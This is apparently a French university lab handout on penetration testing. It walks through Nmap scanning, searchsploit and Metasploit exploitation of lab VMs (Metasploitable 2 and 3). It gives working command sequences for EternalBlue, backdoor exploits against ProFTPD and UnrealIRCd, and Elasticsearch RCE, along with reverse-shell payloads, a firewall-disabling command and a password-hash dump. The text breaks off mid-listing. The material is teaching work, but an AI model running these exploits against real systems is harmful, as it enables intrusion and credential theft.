TP test d’intrusion

Reconnaissance avec Nmap et utilisation de Metasploit

Olivier LASNE - olivier@lasne.pro

2020-11-29

Introduction

Dans ce TP, nous allons voir comment utiliser Nmap pour découvrir services présents sur une machine, et récupérer leur version.

Nous verrons aussi comment vérifier si il existe un exploit pour la version utiliser, et comment exploiter une vulnérabilité avec le framework Metasploit.

Nmap

Nmap est un scanner réseau, il peut être utiliser à la fois pour découvrir les machines présentes sur un réseau, et pour lister les services (et leur version) d'une machine.

Nmap a de nombreuses options, nous ne les détaillerons pas toutes ici.

Scan basique

Si on lui donne une IP en paramètre, nmap va simplement effectuer un scan de port TCP, et lister les ports ouverts.

Exemple avec Metasploitable :

```
$ nmap 192.168.56.210
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-14 18:46 CET
Nmap scan report for vulnerable (192.168.56.210)
Host is up (0.00050s latency).
Not shown: 976 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
3389/tcp  open  ms-wbt-server
4848/tcp  open  appserv-http
7676/tcp  open  imqbrokerd
8009/tcp  open  ajp13
8022/tcp  open  oa-system
8031/tcp  open  unknown
8080/tcp  open  http-proxy
8181/tcp  open  intermapper
8383/tcp  open  m2mservices
8443/tcp  open  https-alt
```

```
9200/tcp  open  wap-wsp
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49161/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 1.70 seconds
```

Découvrir les machines présentes sur un réseau

Ping scan

Pour découvrir rapidement les machines présentes sur le réseau, on peut faire simplement un ping scan :

```
nmap -sn 10.11.1.1-254
```

Top ports

Néanmoins, un certain nombre de machines sont configurés pour ne pas répondre aux ping. On peut choisir de scanner uniquement les ports les plus communs

```
nmap 10.11.1.1/24 -Pn --top-ports 10 --open -sS
```

-Pn : scan les ports même si la machine ne réponds pas aux pings.
--top-ports xx : scan uniquement les **xx** ports les plus communs.
--open : dans la sortie indique uniquement les ports ouverts.
-sS : **syn** scan, effectue seulement la 1ère partie du handshake TCP et est donc plus rapide. Peut-être également plus discret, mais est généralement détecté aujourd'hui.

Enregister les résultats

Nmap support 3 formats d'enregistrement

-oN : format texte classique. Identique à la sortie de la console.
-oG : *grepable nmap*, optimisé pour une recherche dans les résultats avec `grep`
-oX : format xml. Peut permettre de **reprendre un scan interrompu**, et l'importation des résultats dans certains outils comme **Metasploit**.

Scanner une machine

Une fois notre cible définie, on va chercher à avoir un maximum d'information.

Options communes

Avant d'attaquer une machine, on va généralement effectuer un **scan TCP complet** avec les options suivantes :

```
nmap -sV -sC -O -p- 192.168.56.210 -oN full.nmap
```

-p- va indiquer que l'on liste absolument tous les ports
-sV indique que l'on veut récupérer les informations de version
-sC indique que l'on lance les *scripts nmap* de récupération d'information qui n'ont pas d'effet de bord
-O signifie que nmap va essayer de détecter la version du système d'exploitation présent en face.
-oN écrit les résultats dans le fichier `full.nmap`

On réalise généralement un **1er scan de port** sans l'option `-p-` de façon à avoir uniquement les 1000 ports les plus fréquents. Et dans un second temps un scan avec tous les ports.

Scan UDP

Un scan UDP peut être (très) long. Néanmoins, il est généralement intéressant d'effectuer un scan au moins des ports les plus fréquents.

```
nmap -sU 192.168.56.210 -oN udp.nmap
```

Scripts Nmap

Nmap a la possibilité d'**exécuter des scripts**. Les scripts sont stockés dans le dossier **/usr/share/nmap/scripts**

Lister les scripts en lien avec SMB :

```
ls /usr/share/nmap/scripts | grep smb
```

On peut obtenir de l'**aide** sur un **script** de la façon suivante :

```
$ nmap --script-help=smb-os-discovery.nse
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-29 11:21 EST

smb-os-discovery
```

```
Categories: default discovery safe
https://nmap.org/nsedoc/scripts/smb-os-discovery.html
  Attempts to determine the operating system, computer name, domain, workgroup, and current
  time over the SMB protocol (ports 445 or 139).
  This is done by starting a session with the anonymous
  account (or with a proper user account, if one is given; it likely doesn't make
  a difference); in response to a session starting, the server will send back all this
  information.

  The following fields may be included in the output, depending on the
  circumstances (e.g. the workgroup name is mutually exclusive with domain and forest
  names) and the information available:
  * OS
  * Computer name
[...]
```

/ !\ Attention : par défaut un pare-feu filtre le SMB sur Metasploitable 3. On peut le désactiver avec la commande suivante :

```
netsh advfirewall set allprofile state off
```

Un **script nmap** est exécuté de la façon suivante :

```
$ nmap --script=smb-os-discovery.nse 192.168.56.210 -p139,445
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-14 18:53 CET
Nmap scan report for vulnerable (192.168.56.210)
Host is up (0.00033s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
| smb-os-discovery:
|   OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: metasploitable3-win2k8
|   NetBIOS computer name: METASPLOITABLE3\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-12-14T09:53:16-08:00

Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds
```

Utilisation d'exploit

Dans le cadre d'un test d'intrusion, on va chercher à savoir s'il existe une vulnérabilité pour une des versions utilisées. À la fois sur des sites comme cvedetails.com, et directement sur des moteurs de recherche.

Dans notre cas, on va chercher directement à voir s'il existe **un exploit**. C'est à dire un script exploitant la vulnérabilité.

Exploit-DB

Le site de référence pour les exploits publiques est **exploit-db.com**.

On peut effecter des recherches directement sur l'interface web, mais il existe sous kali directement un outil en ligne de commande : **`searchsploit`**.

```
$ searchsploit vsftpd
--------------------------------------------- ----------------------
 Exploit Title                               |  Path
--------------------------------------------- ----------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote M | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service              | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (Me | unix/remote/17491.rb
--------------------------------------------- ----------------------
```

On peut utiliser l'option **`-u`** pour mettre à jour la base de données. `searchsploit -u`

L'option **`-x`** pour voir le détail d'un exploit. `searchsploit -x unix/remote/17491.rb`.

Et l'option **`-m`** pour en faire une copie dans le dossier courant. `searchsploit -m unix/remote/17491.rb`

Il n'y a pas d'unité sur la façon dont ces scripts sont écrits, et il est souvent nécessaire de les adapter.

Convertir un fichier au format CRLF

Il est parfois nécessaire de convertir les fichiers écrit sous Windows (convention CRLF). Pour cela on peut simplement utiliser l'outil `dos2unix`.

```
$ file 31819.pl
31819.pl: ASCII text, with CRLF line terminators

$ dos2unix 31819.pl
```

```
dos2unix: converting file 31819.pl to Unix format...

$ file 31819.pl
31819.pl: ASCII text
```

Metasploit

Metasploit est un **framework d'attaque**. Il intègre un nombre important d'**exploits** et de **payloads** et permet de les utiliser de façon unifiée.
Il intègre notamment des exploits très complexes comme ceux pour la vulnérabilité **MS17-010**.

Son intérêt réside aussi dans le shell **meterpreter** et les nombreux modules de **post-exploitation** qu'il intègre.

Démarrer la base de données

Metasploit utilise une base de données postgresql. Avant d'utiliser le framework il est nécessaire de démarrer la base de données avec la commande **`msfdb run`**.

L'état de la base de données peut être vérifiée avec `msfdb status`.

Msfconsole

On lance le framework avec la commande **`msfconsole`**.

```
$ msfconsole
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v6.0.17-dev                          ]
+ -- --=[ 2076 exploits - 1124 auxiliary - 352 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: You can use help to view all available commands

msf6 >
```

Pour obtenir de l'aide, il existe la commande `help`, ainsi que l'option `-h` les différentes commandes.

À noter que metasploit supporte aussi l'autocomplétion avec **Tab**.

Metasploit a 4 catégories de modules principaux :

- auxiliary
- exploits
- payloads
- post

Exploit : La collection d'exploit de Metasploit. Ils sont classés par architecture de la cible, et protocole.

Auxilary : Va contenir les scanners, fuzzeurs, sniffer, etc.

Payload, Encoders, Nops : Ensemble de charges malveillantes, et les encodeurs nécessaires pour qu'il atteignent leur destination intacts.

Post : Ensemble de modules qui aident à la phase de post-exploitation.

Rechercher un exploit / module

On peut utiliser la commande `search` pour chercher un module.

```
msf6 > search proftp

Matching Modules
================

   #  Name                                          Disclosure Date
      Rank       Check  Description
   -  ----                                          ---------------
      ----       -----  -----------
   0  exploit/freebsd/ftp/proftp_telnet_iac         2010-11-01
      great      Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer
      Overflow (FreeBSD)
   1  exploit/linux/ftp/proftp_sreplace             2006-11-26
      great      Yes    ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (
      Linux)
   2  exploit/linux/ftp/proftp_telnet_iac           2010-11-01
      great      Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer
      Overflow (Linux)
```

```
11    3  exploit/linux/misc/netsupport_manager_agent  2011-01-08
          average    No     NetSupport Manager Agent Remote Buffer Overflow
12    4  exploit/unix/ftp/proftpd_133c_backdoor       2010-12-02
          excellent  No     ProFTPD-1.3.3c Backdoor Command Execution
13    5  exploit/unix/ftp/proftpd_modcopy_exec        2015-04-22
          excellent  Yes    ProFTPD 1.3.5 Mod_Copy Command Execution
14    6  exploit/windows/ftp/proftp_banner            2009-08-25
          normal     No     ProFTP 2.9 Banner Remote Buffer Overflow
15
16
17  Interact with a module by name or index. For example info 6, use 6 or
       use exploit/windows/ftp/proftp_banner
```

Utiliser un module

Pour utiliser un module on utilise la commande `use`.

```
1  msf6 > use exploit/unix/ftp/proftpd_133c_backdoor
2  msf6 exploit(unix/ftp/proftpd_133c_backdoor) >
```

Obtenir des infos

On utilise la commande `show info` pour obtenir des informations sur un module.

Pour lister les options d'un module, on utilise `show options`.

```
1  msf6 exploit(unix/ftp/proftpd_133c_backdoor) > options
2
3  Module options (exploit/unix/ftp/proftpd_133c_backdoor):
4
5     Name    Current Setting  Required  Description
6     ----    ---------------  --------  -----------
7     RHOSTS  192.168.3.173    yes       The target host(s), range CIDR
          identifier, or hosts file with syntax 'file:<path>'
8     RPORT   21               yes       The target port (TCP)
9
10
11 Exploit target:
12
13    Id  Name
14    --  ----
15    0   Automatic
```

Les principales options sont **RHOSTS** qui contient l'IP de la machine cible, et **RPORT** qui indique le port où tourne le service cible.

Les options se configurent avec la commande **`set`** :

```
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RHOSTS 192.168.3.173
RHOSTS => 192.168.3.173
```

Choix du payloads

Les **payloads compatibles** peuvent être listés avec la commande `show payloads`. Si compatible, on choisira généralement `windows/meterpreter/reverse_tcp`, `linux/x86/meterpreter/reverse_tcp` ou `linux/x64/meterpreter/reverse_tcp`.

Pour selectionner un payload, on utilisera de la même façon la commande `set`.

```
msf6 exploit(windows/smb/ms17_010_psexec) > set payload windows/
    meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
```

Une fois le **payload** définit. Il est souvent nécessaire de le configurer en définissant **LHOST** (adresse à laquel le payload vient se connecter).

On le configure de la même manière que RHOSTS avec la commande **set**.

```
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.56.101
LHOST => 192.168.56.101
```

Une fois qu'un payload a été définit. Ses **options** appraissent également dans la sortie de la commande **`options`**.

```
msf6 exploit(windows/smb/ms17_010_psexec) > options
[...]

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '',
      seh, thread, process, none)
   LHOST     192.168.56.101   yes       The listen address (an
      interface may be specified)
   LPORT     4444             yes       The listen port
```

Executer un exploit

Sur les exploits qui le supportent, on peut utiliser la commande `check` pour vérifier si la cible est vulnérable.

```
msf6 exploit(windows/smb/ms17_010_psexec) > check

[*] 172.16.237.130:445 - Using auxiliary/scanner/smb/smb_ms17_010 as
    check
[-] 172.16.237.130:445    - Host does NOT appear vulnerable.
[*] 172.16.237.130:445    - Scanned 1 of 1 hosts (100% complete)
[*] 172.16.237.130:445 - Cannot reliably check exploitability.
```

Finalement, on utilise la commande `run` pour exécuter l'exploit.

```
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > run

[*] Started reverse TCP double handler on 192.168.3.8:4444
[*] 192.168.3.173:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo Fcjmid852usWprlr;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "Fcjmid852usWprlr\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.3.8:4444 ->
    192.168.3.173:42450) at 2021-01-25 15:55:09 +0100

id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
```

Améliorer son Shell

Lorsque l'on obtient un shell un peu minimaliste à travers un exploit. On peut utiliser la commande suivante pour avoir un shell un peu plus classe.

```
python -c "import pty;pty.spawn('/bin/bash')"
```

(Il est parfois nécessaire de préciser la version de python : `python2` ou `python3`).

Les sessions

Un shell ou **session** peuvt être mis en arrière plan avec la commande `background` ou le raccourci *Ctrl + Z*.

On peut lister les sessions avec la commande `sessions`.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               0.0.0.0:0 ->
     172.16.237.130:6200 (172.16.237.130)
```

On peut récupérer une session interactive avec la commande `session -i`.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
[*] Starting interaction with 1...

whoami
root
```

Passer à un Shell Meterpreter

```
msf6 post(linux/gather/hashdump) > use post/multi/manage/
    shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > info

       Name: Shell to Meterpreter Upgrade
     Module: post/multi/manage/shell_to_meterpreter
   Platform: Linux, OSX, Unix, Solaris, BSD, Windows
       Arch:
       Rank: Normal

Provided by:
  Tom Sellers <tom@fadedcode.net>

Compatible session types:
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  HANDLER  true             yes       Start an exploit/multi/handler to
      receive the connection
  LHOST                     no        IP of host that will receive the
     connection from the payload (Will try to auto detect).
  LPORT    4433             yes       Port for payload to connect to.
  SESSION                   yes       The session to run this module on
     .

Description:
```

```
  This module attempts to upgrade a command shell to meterpreter. The
  shell platform is automatically detected and the best version of
  meterpreter for the target is selected. Currently
  meterpreter/reverse_tcp is used on Windows and Linux, with
  'python/meterpreter/reverse_tcp' used on all others.

msf6 post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.3.8
LHOST => 192.168.3.8
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 2
SESSION => 2
msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.3.8:4433
[*] Sending stage (976712 bytes) to 192.168.3.173
[*] Meterpreter session 3 opened (192.168.3.8:4433 ->
    192.168.3.173:48406) at 2021-01-25 16:11:34 +0100
```

Utiliser le module hashdump

```
msf6 post(multi/manage/shell_to_meterpreter) > use post/linux/gather/
    hashdump
msf6 post(linux/gather/hashdump) > info

       Name: Linux Gather Dump Password Hashes for Linux Systems
     Module: post/linux/gather/hashdump
   Platform: Linux
       Arch:
       Rank: Normal

Provided by:
  Carlos Perez <carlos_perez@darkoperator.com>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION  2                yes       The session to run this module on
      .

Description:
  Post Module to dump the password hashes for all users on a Linux
  System

msf6 post(linux/gather/hashdump) > set SESSION 3
```

```
SESSION => 3
msf6 post(linux/gather/hashdump) > run

[+] marlinspike:$6$wQb5nV3T$xB2WO/jOkbn4t1RUILrckw69LR/0
    EMtUbFFCYpM3MUHVmtyYW9.ov/aszTpWhLaC2x6Fvy5tpUUxQbUhCKbl4
    /:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash
[+] Unshadowed Password File: /home/kali/.msf4/loot/20210125161302
    _default_192.168.3.173_linux.hashes_892766.txt
[*] Post module execution completed
```

Exercice :

1. Utiliser l'exploit **vsftpd** pour obtenir un shell sur Metasploitable
2. Utiliser un autre exploit pour obtenir un shell.

Exploitation de Metasploitable 3

Si vous avez installé vous même la machine :

Compte admin sur la machine : `vagrant:vagrant`

Le clavier est en qwerty.

Scan de ports

Comme toujours on commence par un scan de ports :

```
nmap -sV -sC 192.168.56.7 -oN nmap/inital.nmap

nmap -sV -sC -p- 192.168.56.7 -oA nmap/full.nmap
```

Eternal Blue

On a le port 445 qui est ouvert. On peut vérifier si la machine est vulnérable a **Eternal Blue (MS17-010)** avec un **script nmap**.

```
$ ls /usr/share/nmap/scripts | grep smb
...
smb-vuln-ms17-010.nse
...
```

La machine semble être vulnérable :

```
$ nmap --script=smb-vuln-ms17-010.nse -p 445 192.168.56.7
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-17 09:53 CET
Nmap scan report for 192.168.56.7
Host is up (0.00028s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 1.10 seconds
```

On peut utiliser un exploit Metasploit pour exploiter la vulnérablitié.

Exploit windows/smb/ms17_010_psexec est noté Excellent, il est fiable mais nécessite un named pipe.

Or `smbmap` nous indique qu'il n'y a pas de pipe accessible :

```
$ smbmap -H 192.168.56.7
[+] IP: 192.168.56.7:445    Name: 192.168.56.7
```

On peut donc se rabattre sur `windows/smb/ms17_010_eternalblue`.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         192.168.56.7     yes       The target host(s), range
```

```
          CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        (Optional) The Windows
          domain to use for authentication
   SMBPass                         no        (Optional) The password
          for the specified username
   SMBUser                         no        (Optional) The username to
           authenticate as
   VERIFY_ARCH    true             yes       Check if remote
          architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if remote OS matches
           exploit Target.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '',
          seh, thread, process, none)
   LHOST     192.168.56.5     yes       The listen address (an
          interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs
```

Et on peut obtenir un shell avec la commande `exploit`. À noter que l'exploit n'est pas particulièrement fiable.

Elastic Search

En se connectant au port 9200, on peut identifier qu'il s'agit d'un elasticsearch en cherchant sur internet avec le

- build_hash
- lucene version

La version indiquée est la 1.1.1. Il est existe un exploit metasploit pour cette version.

```
msf6 exploit(multi/elasticsearch/script_mvel_rce) > use exploit/multi/
   elasticsearch/script_mvel_rce
[*] Using configured payload java/meterpreter/reverse_tcp
```

On prend soin de configurer les options correctement

```
msf6 exploit(multi/elasticsearch/script_mvel_rce) > options

Module options (exploit/multi/elasticsearch/script_mvel_rce):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   Proxies                       no        A proxy chain of format type
      :host:port[,type:host:port][...]
   RHOSTS       192.168.56.7     yes       The target host(s), range
      CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        9200             yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for
      outgoing connections
   TARGETURI    /                yes       The path to the
      ElasticSearch REST API
   VHOST                         no        HTTP server virtual host
   WritableDir  /tmp             yes       A directory where we can
      write files (only for *nix environments)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.5     yes       The listen address (an interface
      may be specified)
   LPORT  4785             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   ElasticSearch 1.1.1 / Automatic
```

La commande `run` va nous obtenir un shell sur la machine distante.

Exercice : Exploitez par vous-même la vulnérabilité sur : 1. Jenkins 2. Tomcat

Metasploitable 2

Exercice :

Commencer par le **ftp** et **ircd**.

Nmap

On commence par un scan **nmap**.

```
# Nmap 7.80 scan initiated Tue Jan 26 09:21:25 2021 as: nmap -sV -sC -O -p- -oN fullscan.nmap 192.168.56.115
Nmap scan report for 192.168.56.115
Host is up (0.0032s latency).
Not shown: 65505 closed ports
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.56.114
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
|_ssl-date: 2021-01-26T09:23:52+00:00; -1s from scanner time.
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_    SSL2_DES_64_CBC_WITH_MD5
```

```
53/tcp    open  domain      ISC BIND 9.4.2
| dns-nsid:
|_  bind.version: 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup:
   WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login
514/tcp   open  shell       Netkit rshd
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info:
|   Protocol: 10
|   Version: 5.0.51a-3ubuntu5
|   Thread ID: 10
|   Capabilities flags: 43564
|   Some Capabilities: Support41Auth, SupportsCompression,
   SupportsTransactions, LongColumnFlag, SwitchToSSLAfterHandshake,
   Speaks41ProtocolNew, ConnectWithDatabase
|   Status: Autocommit
|_  Salt: &u=n4V4A+Q8beU[JAG}c
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1
   ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2021-01-26T09:23:52+00:00; -1s from scanner time.
5900/tcp  open  vnc         VNC (protocol 3.3)
| vnc-info:
|   Protocol version: 3.3
|   Security types:
|_    VNC Authentication (2)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby
   /1.8/drb)
35476/tcp open  java-rmi    GNU Classpath grmiregistry
39503/tcp open  mountd      1-3 (RPC #100005)
47722/tcp open  nlockmgr    1-4 (RPC #100021)
```

```
58834/tcp open  status      1 (RPC #100024)
MAC Address: 08:00:27:83:DC:29 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h14m59s, deviation: 2h30m01s, median: -1s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2021-01-26T04:23:43-05:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 26 09:25:07 2021 -- 1 IP address (1 host up) scanned in 222.17 seconds
```

IRC

On voit avec le scan nmap que l'on a un UnrealIRCd.

```
6667/tcp  open  irc         UnrealIRCd
```

La version n'est pas indiquée, mais on peut regarder s'il existe un exploit.

```
$searchsploit unrealirc
---------------------------------------------------------------------------------
 Exploit Title                                                  |  Path
---------------------------------------------------------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit | linux/remote/16922.rb
```

```
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow     | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute              | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service                   | windows/dos/27407.pl
-------------------------------------------------------------------------------
Shellcodes: No Results
```

Il existe plusieurs exploits pour la version 3.2.8.1.

On lance metasploit avec `sudo msfdb run`.

On peut ensuite recherche l'exploit avec la commande `search`. On peut ensuite le selectionner avec `use`.

```
msf6 > search unrealirc

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  No     UnrealIRCD 3.2.8.1 Backdoor Command Execution

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
```

On peut utiliser la commande `info` pour en savoir un peut plus sur l'exploit.

`options` nous indique qu'il faut définir une IP distante et un port. On définit l'IP distante avec `set`

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   6667             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target
```

```
16
17
18 msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS
      192.168.56.115
19 RHOSTS => 192.168.56.115
```

On doit également définir un payload. On les liste avec `show payloads`. On peut alors selectionner un payload avec `set payload`.

On va ici choisir le reverse shell `cmd/unix/reverse`.

```
1  msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads
2
3  Compatible Payloads
4  ===================
5
6     #   Name                                Disclosure Date  Rank
         Check  Description
7     -   ----                                ---------------  ----
         -----  -----------
8     0   cmd/unix/bind_perl                                   manual  No
            Unix Command Shell, Bind TCP (via Perl)
9     1   cmd/unix/bind_perl_ipv6                              manual  No
            Unix Command Shell, Bind TCP (via perl) IPv6
10    2   cmd/unix/bind_ruby                                   manual  No
            Unix Command Shell, Bind TCP (via Ruby)
11    3   cmd/unix/bind_ruby_ipv6                              manual  No
            Unix Command Shell, Bind TCP (via Ruby) IPv6
12    4   cmd/unix/generic                                     manual  No
            Unix Command, Generic Command Execution
13    5   cmd/unix/reverse                                     manual  No
            Unix Command Shell, Double Reverse TCP (telnet)
14    6   cmd/unix/reverse_bash_telnet_ssl                     manual  No
            Unix Command Shell, Reverse TCP SSL (telnet)
15    7   cmd/unix/reverse_perl                                manual  No
            Unix Command Shell, Reverse TCP (via Perl)
16    8   cmd/unix/reverse_perl_ssl                            manual  No
